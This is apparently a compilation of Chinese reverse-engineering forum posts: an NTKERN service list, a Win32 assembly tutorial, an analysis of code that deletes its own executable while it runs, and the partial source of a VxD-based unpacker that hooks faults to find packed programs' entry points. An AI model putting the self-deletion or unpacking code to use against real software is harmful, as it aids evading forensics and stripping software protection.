NTKERN_StdCall_Service _NtKernDeviceIoControl, 10, VxD_CODE
NTKERN_Service _NtKernGetWorkerThread, VxD_CODE
NTKERN_StdCall_Service _NtKernLoadDriver, 1, VxD_CODE
NTKERN_StdCall_Service _NtKernQueueWorkItem, 2, VxD_CODE
NTKERN_Service _NtKernPhysicalDeviceObjectToDevNode, VxD_CODE
NTKERN_StdCall_Service _NtKernSetPhysicalCacheTypeRange, 4, VxD_CODE
NTKERN_Service _NtKernWin9XLoadDriver, VxD_CODE
NTKERN_StdCall_Service _NtKernCancelIoFile, 2, VxD_CODE
NTKERN_Service _NtKernGetVPICDHandleFromInterruptObj, VXD_CODE
NTKERN_StdCall_Service _NtKernInternalDeviceIoControl, 10, VxD_CODE
上述服务里,部分是未公开的.如果大家参悟透了,NT下也有很多东西可迎刃而解.我想,文件IO应该没什么问题,但是其他东西就难搞了.在这里,我在网络上仅看到了_NtKernLoadDriver的接口.他和ZwLoadDriver具有相同的参数,用来从VXD加载KMD.(ZwLoadDriver本身又是个未公开的函数)具体接口如下:
NTSTATUS __stdcall ZwLoadDriver( PUNICODE_STRING ServiceKeyPath ).


Win32Asm 教程

 标 题:Win32Asm 教程，来自易语言俱乐部论坛，译者taowen。 (5千字)
时 间:2002-3-10 16:15:46
详细信息:
Win32Asm 教程
这是我的Win32Asm教程。它总是创建中，但我会不停地添加内容。通过上面的next和prev链接，你可以转到后面和前面一页。
介绍
先来对这个教程做个小介绍。Win32Asm不是一个非常流行的编程语言，而且只有为数不多（但很好）的教程。大多数教程都集中在编程的win32部分（例如，winAPI，使用标准Windows编程技术等），而不是汇编语言本身，例如伪代码（opcodes），寄存器（registers）的使用等。虽然你能在其他教程中找到这些，但那些教程通常是解释Dos编程的。它当然可以帮你学汇编语言，但在Windows中编程，你不再需要了解Dos中断（interrupt）和断口（port）In/our函数。在Window中，WindowsAPI提供了你可在你的程序中使用的标准功能（function），后面还会对此有更多内容。这份教程的目标是在解释用汇编编Win32程序的同时学习汇编语言本身。
1．0汇编语言
汇编是创造出来代替原始的由处理器理解的二进制代码的。很久以前，但是尚没有任何高级语言，程序是用汇编写的。汇编代码直接描述处理器可以执行的代码，例如：
add eax,edx
这条指令－add－把两个值加到一起。Eax和edx被称为寄存器，它们可以保存值在处理器内部。这条代码被转换为66 03 c2（16进制）。处理器读这行代码，并执行它所代表的指令，像C等高级语言把它们自己的语言翻译为汇编语言，而汇编程序又把它转换为二进制代码：
C 代码>> C编译器 > >汇编语言>>汇编器>>原始输出（十六进制）
a = a + b;add eax, edx66 03 C2
（注意该处的汇编语言的代码被简化了，实际输出决定于C代码的上下文）
1．1－为什么？（Why？）
既然用Asm写程序更困难，为什么你用Asm而不是C或者别的什么？？－汇编产生的程序更小而且更快。在有人工智能的高级编程语言中，编译器要产生输出代码变得（比汇编）更困难。编译器必须指出最快（或最小）的方式产生汇编代码，而且虽然编译器变得越来越好，你自己来写（汇编）代码（包括可选的代码优化）能生成更小更快的代码。但是，当然，这比高级语言难多了。还有另一个与某些使用运行时dll的高级语言不同的地方，它们在大多数时运行良好，但有时由于dll版本（dll hell）产生问题而用户总是要安装这些Dll。对于Visual C++，这不是一个问题，它们是与Windows一同安装的。而Visual Basic甚至部把自己的语言转换为汇编语言（虽然5版本及以上作了一些，但不完全）。它高度依赖msvbvm50.dll－Visual Baisc虚拟机。由VB产生的exe文件仅仅存在简单的代码和许多对这些dll的调用。这就是vb慢的原因。汇编是所有中最快的。它仅仅用系统的dll像Kernel32.dll, User32.dll等。
另一个误解是许多人认为汇编不可能用来编程。当然，它难，但不是不可能。用汇编创建大的工程的确很难，我只是用它来写小程序，用于需要速度的代码被写在能被其他语言导入的dll中。而且，Dos和Windows还有一个很大的区别。Dos程序把中断当“函数”用。像中断10用于显示，中断13用于文件存储等。在Windows中，API函数只有名字（比如MessageBox, CreateWindowsEx）。你能导入库（DLL）并使用其中的函数。这使得用asm写程序简单多了。你将在下一章中学习更多关于这方面的知识。
2．0开始
介绍已经够多了，现在让我们开始吧。要用汇编写程序，你需要一些工具。下面，你能看到我将在本教程中用哪些工具。我建议你安装同样的工具，因而你能跟着教程试验那些例子。我也给处一些其他选择，虽然你能选择其中的大部分，但是要警告的是在汇编器（masm，tasm和nasm）中有很大的区别。在这个教程中，将使用masm，因为它有很有用的功能（像invoke），它使得编程更容易。当然，你可以自己选择你更喜欢的汇编器，但这将使你更难跟着教程走而且你不得不把教程中的例子进行处理使它可以在你用的汇编器中运行。
汇编器
我的选择：Masm（在win32asm包中）
网址：win32asm.cjb.net
描述：一个把伪代码（opcodes）翻译为给处理器读的原始输出（object文件）的汇编器
关于：Masm，宏（macro）汇编器，是一个有很多有用的特色的汇编器。像“invoke”，它可以简化对API函数的调用并对数据类型进行检查。你将在本教程的后面学习这些。如果你读了上面的文字你就知道本教程推荐使用masm。
供选择：Tasm[dl],nasm[dl]
链接器
我的选择：微软附加链接器（link.exe）
网址：win32asm.cjb.net（在win32asm包中）
描述：链接器把对象（object）文件和库文件（用与DLL导入）“链接”到一起输出最终的可执行文件。
关于：我会用Iczelion的Win32asm包中的link.exe。但大多数的链接器都可以用。
供选择：Tasm linker[dl]
资源编辑器
我的选择：Borland资源编辑器
网址：www.crackstore.com
描述：用于创建资源（图形，对话框，位图，菜单等）的资源编辑器。
关于：大多数的编辑器都可以。我个人爱好是resource workshop但你可以用你喜欢的。注意由于resource workshop创建的资源文件有时给资源编译带来麻烦，如果你想使用这个编辑器，你应当把tasm一起下下来，他里面包含了用于编译borland风格资源的brc32.exe。
供选择：Symantec资源编辑器，资源创建者（builder）等等
文本编辑器
我的选择：ultraedit
网址：www.ultraedit.com
描述：一个文本编辑器需要说明吗？
关于：文本编辑器的选这是十分个人的。我非常喜欢ultraedit。你可以下载我为ultraedit写的语法文件，因而可以使汇编代码语法高亮。但至少，选一个支持语法高亮的文本编辑器（关键字会自动标色）。这非常有用而且它使你的代码更容易读且更容易写。Ultraedit还有一个可以使你在代码中快速跳转到某一个函数的函数列表。
供选择：数百万的文本编辑器中的一个
参考手册
我的选择：win32程序员参考手册
网址：www.crackstore.com（或搜索互联网）
描述：你需要许多关于API函数的参考。最重要的是“win32程序员参考手册”（win32.hlp）。这是个大文件，大约24mb（一些版本是12mb，但不全）。在这个文件中，对所有系统dll的函数（kernel，user，gdi，shell等）都做了说明。你至少需要这个文件，其他的参考（sock2.hlp, mmedia.hlp, ole.hlp等）是有帮助的但不必须。
供选择：N/A
（译者注：该教程写成较早，现在有极好的MSDN供选择）
2．1安装工具
现在你已经得到这些工具了，把它们安装到某个地方。这有几个值得注意的地方：
把masm包安装到你打算写汇编源程序的那个区。这保证了包含文件路径的正确性。把masm（和tasm）的bin目录加到autoexec.bat的path中，重起。
如果你用ultraedit，使用你可以在前面下载的语法文件并启用function－listview（函数列表视图）。
在某个地方创建一个win32文件夹（或其他你喜欢的名字），并为你创建的每一个工程创建一个子文件夹。
3．0 asm基础知识
这章将教你汇编语言的基础知识
3．1伪代码（opcodes）
汇编程序是用伪代码创建的。一个伪代码是一条处理器可以理解的指令。例如：
ADD
Add指令把两个数加到一起。大部分伪代码有参数
ADD eax, edx
ADD有两个参数。在加法的情况下，一个源一个目标。它把源值加到目标值中，并把结果保存在目标中。参数有很多不同的类型：寄存器，内存地址，直接数值（immediate values）如下：
3．2寄存器
有几种大小的寄存器：8位，16位，32位（在MMX处理器中有更多）。在16位程序中，你仅能使用16位和8位的寄存器。在32位的程序中，你可以使用32位的寄存器。
一些寄存器是别的寄存器的一部分：例如，如果EAX保存了值EA7823BBh这里是其他寄存器的值。
EAXEA7823BB
AXEA7823BB
AHEA7823BB
ALEA7823BB
Ax，ah，al是eax的一部分。Eax是一个32位的寄存器（仅在386以上存在），ax包含了eax的低16位（2字节），ah包含了ax的高字节，而al包含了ax的低字节。因而ax是16位的，al和ax是8位的。在上面的例子中,这些是那些寄存器的值：
eax = EA7823BB (32-bit)
ax = 23BB (16-bit)
ah = 23 (8-bit)
al = BB (8-bit)

使用寄存器的例子（不要管那些伪代码，只看寄存器的说明）
mov eax, 12345678hMov把一个值载入寄存器（注意：12345678h是一个十六进制值，因为h这个后缀。
mov cl, ah把ax的高字节移入cl
sub cl, 10从cl的值中减去10（十进制）
mov al, cl并把cl存入eax的最低字节
让我们来分析上面的代码：
mov指令可以把一个值从寄存器，内存和直接数值移入另一个寄存器。在上面的例子中，eax包含了12345678h，然后ah的值（eax左数第三个字节）被复制入了cl中（ecx寄存器的最低字节）。然后，cl减10并移回al中（eax的最低字节）
寄存器的不同类型：
全功能（General Purpose）
这些32位（它们的组成部分为16/8位）寄存器可以用来做任何事情：
eax (ax/ah/al)加法器
ebx (bx/bh/bl)基（base）
ecx (cx/ch/cl)计数器
edx (dx/dh/dl)数据
虽然它们有名字，但是你可以用它们做任何事。
段（Segment）寄存器
段寄存器定义了哪一段内存被使用。你可能在win32asm中用不着它们，因为windows有一个平坦（flat）的内存系统。在Dos中，内存被分为64kb的段，因而如果你想要定一个内存地址。你指定一个段，并用一个offset（偏移址）（像0172:0500（segment：offset））。在windows中，段有4GB的大小，所以你在Windows中不需要段。段总是16位寄存器。
CS代码段
DS数据段
SS栈段
ES扩展段
FS (only 286+)全功能段
GS (only 386+)全功能段
指针寄存器
实际上，你可以把指针寄存器当作全功能寄存器来使用（除了eip），只要你保存并恢复它们的原始值。指针寄存器之所以这么叫是因为它们经常被用来存储内存地址。一些伪代码（movb，scasb等）也要用它们。
esi (si)源索引
edi (di)目标索引
eip (ip)指令指针
EIP（在16位编程中为ip）包含了指向处理器将要执行的下一条指令的指针。因而你不能把eip当作全功能寄存器来用。
栈寄存器
有2个栈寄存器：esp和ebp。Esp装有内存中当前栈的位置（在下章中，对此有更多的内容）。Ebp在函数中被用成指向局部变量的指针。
esp (sp)栈指针
ebp (bp)基（base）指针
译者taowen
4．0内存
这部分将解释在Windows中内存是如何管理的。
4．1Dos和win3.xx
在像用于Dos和Win3.xx的16位程序中，内存被分成许多个段。这些段的大小为64kb。为了存储内存，需要一个段指针和一个偏移址指针。段指针标明要使用哪个段，offset指针标明在段本身的位置。看下图：
内存
段 1 (64kb)段 2 (64kb)段 3 (64kb)段 4(64kb)更多
注意下面关于16位程序的解释，后面有更多关于32位的（但不要跳过这部分，要理解32位的内存管理，这部分很重要）上表是全部的那内存，被划分成了64kb的多个段。最多有65536个段。现在取出一段：
段 1(64kb)
Offset 1Offset 2Offset 3Offset 4Offset 5更多
为了指向段中的位置，需要使用offset。一个offset是段中内部的一个位置。每个段最多有65536个offset。内存中地址的记法是：
SEGMENT:OFFSET
例如：
0030:4012（均为16进制）
它的意思是：段30，offset4012。为了查看那个地址中有什么。你先要到段30，然后到该段的offset4012。在前一章中，你已经学过了段和指针寄存器。例如，段寄存器有：
CS代码段
DS数据段
SS栈段
ES扩展段
FS (only 286+)全功能段
GS (only 386+)全功能段
顾名思义：代码段（CS）包括了当前的代码执行到了哪部分。数据段是用来标明哪段中取出数据。栈指栈段（后面有更多）。ES，FS, GS是全功能的寄存器，并且可以用于任何段（虽然在Windows中不行）。
指针寄存器大多数时装有offset，但全功能寄存器（ax, bx, cx, dx等）也可以这么用。Ip标明当前指令执行到了哪个offset。Sp保存了当前栈的offset1，在ss（栈段中）。
4．2 32位Windows
你可能已经注意到了关于段的一切是乏味的。在16位编程中，段是必不可少的。幸运的是，这个问题已经在32位Windows（95及以上）中得到解决。你仍然有段，但不用管他们了因为它们不再是64kb，而是4GB。你如果尝试着改变段寄存器中的一个，windows甚至会崩溃。这称为平坦（flat）内存模式。只有offset而且是32位的，因而范围从0到4,294,967,295。内存中的每一个地址都是用offset表示的。这真是32位胜于16位的最大优点。所以，你现在可以忘了段寄存器并把精神集中在其他的寄存器上。
译者taowen
5．0伪代码
伪代码是给处理器的指令，它实际上是原始十六进制代码的可读版。因此，汇编是最低级的编程语言。汇编中的所有东西被直接翻译为十六进制码。换句话说，你没有把高级语言翻译为低级语言的编译器上的烦恼，汇编器仅仅把汇编代码转化为原始数据。
本章将讨论一些用来运算，位操作等的伪代码。还有跳转指令，比较等伪代码在后面介绍。
5．1一些基本的计算伪代码
MOV
这条指令用来把一个地方移往（事实上是复制到）另一个地方。这个地方可以是寄存器，内存地址或是直接数值（当然只能作为源值）。Mov指令的语法是：
mov 目标，源
你可把一个寄存器移往另一个（注意指令是在复制那个值到目标中，尽管“mov”这个名字是移的意思）
mov edx, ecx
上面的这条指令把ecx的内容复制到了ecx中，源和目标的大小应该一致。例如这个指令是非法的：
mov al, ecx;非法
这条伪代码试图把一个DWORD（32位）值装入一个字节（8位）的寄存器中。这不能个由mov指令来完成（有其他的指令干这事）。但这些指令是允许的因为源和目标在大小上并没有什么不同：
mov al, bl
mov cl, dl
mov cx, dx
mov ecx, ebx
内存地址由offset指示（在win32中，前一章中有更多信息）你也能从地址的某一个地方获得一个值并把它放入一个寄存器中。下面有一个例子：
offset3435363738393A3B3C3D3E3F404142
data0D0A50324457257A5E72EF7DFFADC7
每一个块代表一个字节
offset的值这里是用字节的形式表示的，但它事实上是32位的值，比如3A（这不是一个常见的offset的值，但如果不这样简写表格装不下），这也是一个32位的值：0000003Ah。只是为了节省空间，使用了一些不常见的低位offset。所有的值均为16进制。
看上表的offset 3A。那个offset的数据是25, 7A, 5E, 72, EF等。例如，要把这个位于3A的值用mov放入寄存器中：
mov eax, dword ptr[0000003Ah]
（h后缀表明这是一个十六进制值）
mov eax, dword ptr[0000003Ah]这条指令的意思是：把位于内存地址3A的DWORD大小的值放入eax寄存器。执行了这条指令后，eax包含了值725E7A25h。可能你注意到了这是在内存中时的反转结果：25 7A 5E 72。这是因为存储在内存中的值使用了little endian格式。这意味着越靠右的字节位数越高：字节顺序被反转了。我想一些例子可以使你把这个搞清楚。
十六进制dword（32位）值放在内存中时是这样：40, 30, 20, 10（每个值占一个字节（8位））
十六进制word（16位）值放在内存中时是这样：50, 40
回到前面的例子。你也可以对其他大小的值这么做：
mov cl, byte ptr [34h] ; cl得到值0Dh(参考上表)
mov dx, word ptr [3Eh] ; dx将得到值 7DEFh (看上表，记住反序)
大小有时不是必须的。
Mov eax,[00403045h]
因为eax是32位寄存器，编译器假定（也只能这么做）它应该从地址403045(十六进制)取个32位的值。
直接数值是允许的：
mov edx, 5006
这只是使得edx寄存器装有值5006，综括号[和]用来从括号间的内存地址处取值，没有括号就只是这个值。寄存器和内存地址也可以（他应该是32位程序中的32位寄存器）：
mov eax,403045h;使eax装有值403045h（十六进制）
mov cx,[eax];把位于内存地址eax的word大小的值（403045）移入cx寄存器。
在mov cx, [eax]中，处理器会先查看eax装有什么值（＝内存地址），然后在那个内存地址中有什么值，并把这个word（16位，因为目标－cx－是个16位寄存器）移入cx。
ADD, SUB, MUL, DIV
许多伪代码做计算工作。你可以猜出它们中的大多数的名字：add（加），sub（减），mul（乘），div（除）等。
Add伪代码有如下语法：
Add 目标，源
执行的运算是 目标＝目标＋源。下面的格式是允许的。
目标源例子
RegisterRegisteradd ecx, edx
RegisterMemoryadd ecx, dword ptr [104h] / add ecx, [edx]
RegisterImmediate valueadd eax, 102
MemoryImmediate valueadd dword ptr [401231h], 80
MemoryRegisteradd dword ptr [401231h], edx
这条指令非常简单。它只是把源值加到目标值中并把结果保存在目标中。其他的数学指令有：
sub 目标，源（目标＝目标－源）
mul 目标，源（目标＝目标×源）
div 源（eax＝eax/源，edx＝余数）
减法和加法一样做，乘法是目标＝目标×源。除法有一点不同，因为寄存器是整数值（注意，绕回数不是浮点数）除法的结果被分为商和余数。例如：
28/6->商＝4，余数＝4
30/9->商＝3，余数＝3
97/10->商＝9，余数＝7
18/6->商＝3，余数＝0
现在，取决于源的大小，商（一部分）被存在eax中，余数（一部分）在edx：
源大小除法商存于… 余数存于…
BYTE (8-bits)ax / sourceALAH
WORD (16-bits)dx:ax* / sourceAXDX
DWORD (32-bits)edx:eax* / sourceEAXEDX
*：例如，如果dx＝2030h，而ax＝0040h，dx:ax＝20300040h。dx:ax是一个双字值。其中高字代表dx，低字代表ax，Edx:eax是个四字值（64位）其高字是edx低字是eax。
Div伪代码的源可以是
·an 8-bit register (al, ah, cl,...)
·a 16-bit register (ax, dx, ...)
·a 32-bit register (eax, edx, ecx...)
·an 8-bit memory value (byte ptr [xxxx])
·a 16-bit memory value (word ptr [xxxx])
·a 32-bit memory value (dword ptr [xxxx])
源不可以是直接数值因为处理器不能决定源参数的大小。
位操作
这些指令都由源和目标，除了“NOT”指令。目标中的每位与源中的每位作比较，并看是那个指令，决定是0还是1放入目标位中。
指令ANDORXORNOT
源位00110011001101
目标位010101010101XX
输出位00010111011010
如果源和目标均为1，AND把输出位设为1。
如果源和目标中有一个为1，OR把输出位设为1。
如果源和目标位不一样，XOR把输出位设为1。
NOT反转源位
一个例子：
mov ax, 3406
mov dx, 13EAh
xor ax,dx
ax＝3406（十六进制）是二进制的0000110101001110
dx＝13EA（十六进制）是二进制的0001001111101010
对这些位进行xor操作：
源0001001111101010 (dx)
目标0000110101001110 (ax)
输出0001111010100100 (new ax)
新dx是0001111010100100 (十进制的7845, 十六进制的1EA4)
另一个例子：
mov ecx, FFFF0000h
not ecx
FFFF0000在二进制中是11111111111111110000000000000000（16个1，16个0）如果反转每位会得到
00000000000000001111111111111111（16个0，16个1）在十六进制中是0000FFFF。因而执行NOT操作后，ecx是0000FFFFh。
步增/减
有两个很简单的指令，DEC和INC。这些指令使内存地址和寄存器步增或步减，就是这样：
inc reg -> reg = reg + 1
dec reg -> reg = reg - 1
inc dword ptr [103405] -> 位于103405的值步增
dec dword ptr [103405] -> 位于103405的值步减
NOP
这条指令什么都不干。它仅仅占用空间和时间。它用作填充或给代码打补丁的目的。
位移（Bit Rotation 和 shifiting）
注意：下面的大部分例子使用8位数，但这只是为了使目的清楚。
Shifting函数
SHL 目标，计数（count）
SHR 目标，计数（count）
SHL和SHR在寄存器，内存地址中像左或向右移动一定数目（count）的位。
例如：
;这儿al＝01011011（二进制）
shr al, 3
它的意思是：把al寄存器中的所有位向右移三个位置。因而al会变成为00001011。左边的字节用0填充，而右边的字节被移出。最后一个被移出的位保存在carry－flag中。Carry－flag是处理器标志寄存器的一位，它不是像eax或ecx一样的，你可以访问的寄存器（虽然有伪代码干这活），但它的值决定于该指令的结构。它（carry－flag）会在后面解释，你要记住的唯一一件事是carry是标志寄存器的一位且它可以被打开或者关闭。这个位等于最后一个移出的位。
Shl和shr一样，只不过是向左移。
;这儿bl＝11100101（二进制）
shl bl, 2
执行了指令后bl是10010100（二进制）。最后的两个位是由0填充的，carry－flag是1，因为最后移出的位是1。
还有两个伪代码：
SAL 目标, 计数（算术左移）
SAR 目标, 计数（算术右移）
SAL和SHL一样，但SAR不完全和SHR一样。SAR不是用0来填充移出的位而是复制MSB（最高位）例如：
al = 10100110
sar al, 3
al = 11110100
sar al, 2
al = 11101001
bl = 00100110
sar bl, 3
bl = 00000100
Rotation（循环移动） 函数
Rol 目标，计数；循环左移
Ror 目标，计数；循环右移
Rcl 目标，计数；通过carry循环左移
Rcr 目标，计数；通过carry循环右移
循环移动（Rotation）看上去就像移（Shifting），只是移出的位又到了另一边。
例如：Ror（循环右移）
Bit 7Bit 6Bit 5Bit 4Bit 3Bit 2Bit 1 Bit 0
原来 10011011
循环移动，计数＝3 100110 1 1 (移出)
结果 01110011
如你在上图所见，位循环了。注意，每个被推出的位又移到了另一边。和Shifting一样，carry位装有最后被移出的位。Rcl和Rcr实际上和Rol，Rcr一样。它们的名字暗示了它们用carry位来表明最后移出的位，但和Rol和Ror干同样的事情。它们没有什么不同。
交换
XCHG指令也非常简单。它同在两个寄存器和内存地址之间交换：
eax = 237h
ecx = 978h
xchg eax, ecx
eax = 978h
ecx = 237h
译者taowen


程序自删除

 标 题:一篇在程序还未结束运行时就能把自身删除的文章(2千字)
发信人:WinDos2K
时 间:2002-2-7 16:02:05
详细信息:
下面的代码由Gary Nebbett写就.Gary Nebbett乃是WINDOWS NT/2000 NATIVE API REFERENCE的作者.乃NT系统一等一的高手.下面就分析一些他的这段代码.
这段代码在PROCESS没有结束前就将启动PROCESS的EXE文件删除了.
int main(int argc, char *argv[])
{
HMODULE module = GetModuleHandle(0);
CHAR buf[MAX_PATH];
GetModuleFileName(module, buf, sizeof buf);
CloseHandle(HANDLE(4));
__asm {
lea eax, buf
push 0
push 0
push eax
push ExitProcess
push module
push DeleteFile
push UnmapViewOfFile
ret
}
return 0;
}
现在,我们先看一下堆栈中的东西

偏移 内容
24 0
20 0
16 offset buf
12 address of ExitProcess
8 module
4 address of DeleteFile
0 address of UnmapViewOfFile

调用RET返回到了UnmapViewOfFile,也就是栈里的偏移0所指的地方.当进入UnmapViewOfFile的流程时,栈里见到的是返回地址DeleteFile和HMODUL module.也就是说调用完毕后返回到了DeleteFile的入口地址.当返回到DeleteFile时,看到了ExitProcess的地址,也就是返回地址.和参数EAX,而EAX则是buffer.buffer存的是EXE的文件名.由GetModuleFileName(module, buf, sizeof buf)返回得到.执行了DeleteFile后,就返回到了ExitProcess的函数入口.并且参数为0而返回地址也是0.0是个非法地址.如果返回到地址0则会出错.而调用ExitProcess则应该不会返回.
这段代码的精妙之处在于:
1.如果有文件的HANDLE打开,文件删除就会失败,所以,CloseHandle(HANDLE(4));是十分巧妙的一手.HANDLE4是OS的硬编码,对应于EXE的IMAGE.在缺省情况下,OS假定没有任何调用会关闭IMAGE SECTION的HANDLE,而现在,该HANDLE被关闭了.删除文件就解除了文件对应的一个句柄.
2.由于UnmapViewOfFile解除了另外一个对应IMAGE的HANDLE,而且解除了IMAGE在内存的映射.所以,后面的任何代码都不可以引用IMAGE映射地址内的任何代码.否则就OS会报错.而现在的代码在UnmapViewOfFile后则刚好没有引用到任何IMAGE内的代码.
3.在ExitProcess之前,EXE文件就被删除了.也就是说,进程尚在,而主线程所在的EXE文件已经没了.(WINNT/9X都保护这些被映射到内存的WIN32 IMAGE不被删除.)

Gary Nebbett果然是WIN系列平台的顶尖高手之一.能写出如此代码.独辟蹊径啊:)


冲击波1.02源程序

 标 题:冲击波1.02源程序 (9千字)
发信人:bw2000
时 间:2001-11-15 17:16:16
详细信息:
 ////////////////////////////
/////// ********.vxd ///////
////////////////////////////

#define DEVICE_MAIN
#include "traceit.h"
Declare_Virtual_Device(TRACEIT)
#undef DEVICE_MAIN

TraceitVM::TraceitVM(VMHANDLE hVM) : VVirtualMachine(hVM) {}

TraceitThread::TraceitThread(THREADHANDLE hThread) : VThread(hThread) {}

//-----------------------------------------
#define HookNo  0x30
#define HookCode 0x30cd

VMMFault_THUNK        thunkVMMFault;
PMFault_THUNK        thunkPMFault;

DWORD m_Address[3];
WORD  m_Code[3];
WORD  m_AppCode;
BOOL  m_bAppFlag;
DWORD m_OEP;

#define valueEIP          (pcrs->CRS.Client_EIP)
#define mByteEIP(offset)  (*(BYTE *)(valueEIP-(offset)))
#define mWordEIP(offset)  (*(WORD *)(valueEIP-(offset)))
#define mDwordEIP(offset)  (*(DWORD *)(valueEIP-(offset)))

//-----------------------------------------

PVOID __stdcall MyFaultHandler(VMHANDLE hVM, PCLIENT_STRUCT pcrs)
{
if(!m_bAppFlag)
{
valueEIP -= 2;
m_AppCode = *(WORD *)(*(DWORD *)pcrs->CRS.Client_ESP);
*(WORD *)(*(DWORD *)pcrs->CRS.Client_ESP)
  = HookCode;

*(WORD *)m_Address[0] = m_Code[0];
*(WORD *)m_Address[1] = m_Code[1];
*(WORD *)m_Address[2] = m_Code[2];

m_bAppFlag = true;
}
else
{
valueEIP -= 2;
mWordEIP(0) = m_AppCode;

if((mDwordEIP(0-0x05) & 0x0ffffff)
  == 0x0E9006A)
{
_asm
{
pusha
mov
  ebp, pcrs
mov
  esi, [ebp+0x24]

xor
  ecx, ecx
jmp
  m000001FC
m000001E2:
mov
  eax, dword ptr [esi]
cmp
  eax, 0x0A302E0C1
jne
  m000001FA
mov
  m_OEP, esi
sub
  m_OEP, 00000005
jmp
  m00000201
m000001FA:
dec
  esi
inc
  ecx
m000001FC:
cmp
  ecx, 0x00000070
jne
  m000001E2
m00000201:
popa
}
}

else if((mDwordEIP(0x0f) & 0x0ffffff)
  == 0x0E80A6A)
{
m_OEP = valueEIP-0x0f;
}

else if(mDwordEIP(0x08) == 0x0E8006A50
  &&
(mByteEIP(0x0a)
  == 0x0C3 || mByteEIP(0x0b) == 0x0C3))
{
_asm
{
pusha
mov
  ebp, pcrs

mov
  ebx, dword ptr [ebp+0x30]
mov
  ebx, dword ptr [ebx+0x04]
mov
  esi, 0x0000000A
sub
  ebx, esi
jmp
  m_0000029C
m_00000282:
mov
  eax, dword ptr [ebx]
cmp
  eax, 0x083EC8B55
je
  m_00000292
cmp
  eax, 0x0B9EC8B55
jne
  m_0000029A
m_00000292:
mov
  m_OEP, ebx
jmp
  m_000002A1
m_0000029A:
inc
  esi
dec
  ebx
m_0000029C:
cmp
  esi, 0x00000030
jne
  m_00000282
m_000002A1:
popa
}
}
else if(mDwordEIP(0x0f) == 0x0E800408D
  &&
(mByteEIP(0x11)
  == 0x0C3 || mByteEIP(0x12) == 0x0C3))
{
_asm
{
pusha
mov
  ebp, pcrs

mov
  ebx, dword ptr [ebp+0x30]
mov
  ebx, dword ptr [ebx]
mov
  esi, 0x0000000A
sub
  ebx, esi
jmp
  m_000002D9
m_000002C6:
mov
  eax, dword ptr [ebx]
cmp
  eax, 0x083EC8B55
jne
  m_000002D7
mov
  m_OEP, ebx
jmp
  m_000002DE
m_000002D7:
inc
  esi
dec
  ebx
m_000002D9:
cmp
  esi, 0x00000030
jne
  m_000002C6
m_000002DE:
popa
}
}

else if(mWordEIP(0) == 0x0F08B &&
  mDwordEIP(0x0d) == 0x083EC8B55)
{
m_OEP = valueEIP-0x0d;
}

else if(mWordEIP(0) == 0x0F08B &&
  mDwordEIP(0x2c) == 0x6AEC8B55)
{
m_OEP = valueEIP-0x2c;
}

if(mDwordEIP(0) == 0x0D48AD233 &&
  mDwordEIP(0x2c) == 0x6AEC8B55)
{
m_OEP = valueEIP-0x2c;
}

else if(mByteEIP(0) == 0x0A3 &&
  mDwordEIP(0x26) == 0x6AEC8B55)
{
m_OEP = valueEIP-0x26-0x06;
}

else if(mWordEIP(0) == 0x0E850 &&
  mDwordEIP(0x150) == 0x6AEC8B55)
{
m_OEP = valueEIP-0x150;
}

else if(mWordEIP(0) == 0x0E850 &&
  mDwordEIP(0x12e) == 0x6AEC8B55)
{
m_OEP = valueEIP-0x12e;
}

else if(mWordEIP(0) == 0x0E850 &&
  mDwordEIP(0x14b) == 0x6AEC8B55)
{
m_OEP = valueEIP-0x14b-0x06;
}

else if(mWordEIP(0) == 0x0E850 &&
  mDwordEIP(0x0bf) == 0x83EC8B55)
{
m_OEP = valueEIP-0x0bf;
}

*(WORD *)m_Address[0] = HookCode;
*(WORD *)m_Address[1] = HookCode;
*(WORD *)m_Address[2] = HookCode;

m_bAppFlag = false;
}
return NULL;
}

BOOL TraceitDevice::OnSysDynamicDeviceInit()
{
Hook_PM_Fault(HookNo, MyFaultHandler, &thunkPMFault);
return TRUE;
}

BOOL TraceitDevice::OnSysDynamicDeviceExit()
{
Unhook_PM_Fault(HookNo, MyFaultHandler, &thunkPMFault);

return TRUE;
}

DWORD TraceitDevice::OnW32DeviceIoControl(PIOCTLPARAMS pDIOCParams)
{
switch (pDIOCParams->dioc_IOCtlCode)
{
case 1:
m_Address[0] = *(DWORD
  *)(pDIOCParams->dioc_InBuf);
m_Code[0] = *(WORD
  *)m_Address[0];
*(WORD *)m_Address[0]
  = HookCode;

m_Address[1] = *((DWORD
  *)(pDIOCParams->dioc_InBuf)+1);
m_Code[1] = *(WORD
  *)m_Address[1];
*(WORD *)m_Address[1]
  = HookCode;

m_Address[2] = *((DWORD
  *)(pDIOCParams->dioc_InBuf)+2);
m_Code[2] = *(WORD
  *)m_Address[2];
*(WORD *)m_Address[2]
  = HookCode;

m_bAppFlag = false;
m_OEP = 0;
break;
case 2:
*(WORD *)m_Address[0]
  = m_Code[0];
*(WORD *)m_Address[1]
  = m_Code[1];
*(WORD *)m_Address[2]
  = m_Code[2];

break;
case 3:
*(DWORD *)(pDIOCParams->dioc_OutBuf)
  = m_OEP;
pDIOCParams->dioc_cbOutBuf
  = 4;

break;
default:
break;
}
return 0;
}

////////////////////////////
/////// ********.exe ///////
////////////////////////////
// Bw2001Dlg.cpp : implementation file
//

#include "stdafx.h"
#include "Bw2001.h"
#include "Bw2001Dlg.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CBw2001Dlg dialog

CBw2001Dlg::CBw2001Dlg(CWnd* pParent /*=NULL*/)
: CDialog(CBw2001Dlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CBw2001Dlg)
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon
  in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);

hDevice = INVALID_HANDLE_VALUE;
}

void CBw2001Dlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CBw2001Dlg)
DDX_Control(pDX, IDC_EDIT1, m_oep);
DDX_Control(pDX, IDC_BUTTON2, m_stop);
DDX_Control(pDX, IDC_BUTTON1, m_trace);
//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CBw2001Dlg, CDialog)
//{{AFX_MSG_MAP(CBw2001Dlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
ON_WM_TIMER()
//}}AFX_MSG_MAP
